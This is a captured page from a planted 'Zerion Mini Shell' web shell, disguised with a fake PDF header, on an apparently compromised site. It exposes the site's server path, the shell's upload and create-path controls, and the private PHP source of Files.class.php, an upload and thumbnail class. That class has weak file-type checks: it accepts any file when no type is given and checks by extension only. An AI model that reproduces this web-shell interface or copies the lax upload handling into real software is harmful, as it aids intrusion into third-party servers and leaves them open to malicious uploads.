%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/nailstv/public_html/es.nails.tv/include/
Upload File :
Create Path :
Current File : /home/nailstv/public_html/es.nails.tv/include/Files.class.php

<?php

class Files
{
    public function upload($file, $target, $prefix = '', $type = '')
    {
        $filename = '';
        if(!empty($prefix)) $prefix .= '_';

        if(is_uploaded_file($_FILES[$file]['tmp_name']))
        {
            if(!self::checkFileType($file, $type)) return false;

            $target = Registry::get('dirroot') . '/' . $target;
            $tmp = $_FILES[$file]['tmp_name'];

            if(!is_dir($target))
            {
                mkdir($target);
            }

            $filename = $prefix . String2::filename($_FILES[$file]['name'], 0);
            $target .= $filename;

            move_uploaded_file($tmp, $target);
            chmod($target, 0644);
        }

        return $filename;
    }

    private function checkFileType($file, $type)
    {
        if(empty($type)) return true;

        if($type == 'image')
        {
            $size = getimagesize($_FILES[$file]['tmp_name']);

            if(empty($size[2]))
                return false;
            else
                return true;
        }

        if($type == 'video')
        {
            $valid_extensions = array('mp4','avi','webm','mpeg');

            $ext = end(explode('.', $_FILES[$file]['name']));

            if(in_array($ext, $valid_extensions))
                return true;
            else
                return false;
        }

        if($type == 'doc')
        {
            $valid_extensions = array('pdf');

            $ext = end(explode('.', $_FILES[$file]['name']));

            if(in_array($ext, $valid_extensions))
                return true;
            else
                return false;
        }
    }

    public function makeThumb($dir, $file, $w = 0, $h = 0, $zc = 1, $del_original = 1)
    {
        if(empty($w) && empty($h)) return $file;

        $phpThumb = new phpThumb();

        $phpThumb->setSourceFilename(Registry::get('dirroot') . '/' . $dir . '/' . $file);
        $phpThumb->setParameter('config_output_format', 'jpg');
        $phpThumb->setParameter('config_imagemagick_path', '/usr/bin/convert');

        $output_filename = '';
        $f = explode('.', $file);
        $n = count($f);
        foreach($f as $key => $val)
        {
            if($key < count($n)) $output_filename .= $val . '_';
        }

        if(!empty($w))
        {
            $phpThumb->setParameter('w', $w);
            $output_filename .= $w;
        }
        if(!empty($h))
        {
            $phpThumb->setParameter('h', $h);
            if(!empty($w)) $output_filename .= '_';
            $output_filename .= $h;
        }

        $output_filename .= '.'.$phpThumb->config_output_format;
        $output_fullpath = Registry::get('dirroot') . '/' . $dir . '/' . $output_filename;

        $phpThumb->setParameter('zc', $zc);

        if($phpThumb->GenerateThumbnail())
        {
            $phpThumb->RenderToFile($output_fullpath);

            if($del_original)
            {
                unlink(Registry::get('dirroot') . '/' . $dir . '/' . $file);
            }

            return $output_filename;
        }
        else
        {
            return $file;
        }
    }

    public function thumb($img, $w, $h = '', $alt = '', $class = '', $color = '')
    {
        $s = '<img src="include/phpthumb/phpThumb.php?src=../../img/galeria/' . $img . '&amp;w=' . $w;
        if(!empty($h)) $s .= '&amp;h=' . $h;
        if(empty($color)) {
            $s.= '&amp;zc=1';
        } else {
            $s.= '&amp;far=1&amp;bg=' . $color;
        }
        $s .= '" alt="' . $alt . '"';
        if(!empty($class)) {
            $s.= ' class="' . $class . '"';
        }
        $s .= ' />';

        return $s;
    }
	
    public function thumbNail($src_dir, $dst_dir, $file, $w = 0, $h = 0, $zc = 0, $vm = 0)
    {
        if(empty($w) && empty($h)) return $file;

        $phpThumb = new phpThumb();

        $s = Registry::get('dirroot') . '/' . $src_dir . '/' . $file;
        $d = Registry::get('dirroot') . '/' . $dst_dir . '/' . $file;
        $phpThumb->setSourceFilename($s);

        $size = getimagesize($s);

        switch($size[2]) {
            case 1: $format = 'gif'; break;
            case 2: $format = 'jpeg'; break;
            case 3: $format = 'png'; break;
        }

        $phpThumb->setParameter('config_output_format', $format);

        if($vm) {
            $v = Registry::get('dirroot') . '/img/vizjel.png';
            $phpThumb->fltr = array("wmi|" . $v . "|BR");
        }

        if(!empty($w)) {
            $phpThumb->setParameter('w', $w);
        }
        if(!empty($h)) {
            $phpThumb->setParameter('h', $h);
        }
        if(!empty($zc)) {
            $phpThumb->setParameter('zc', $zc);
        }

        /*if(!is_dir(Registry::get('dirroot') . '/' . $dst_dir)) {
            mkdir(Registry::get('dirroot') . '/' . $dst_dir);
        }*/

        if($phpThumb->GenerateThumbnail()) {
            $phpThumb->RenderToFile($d);
        }
    }
	
	
}

?>

Zerion Mini Shell 1.0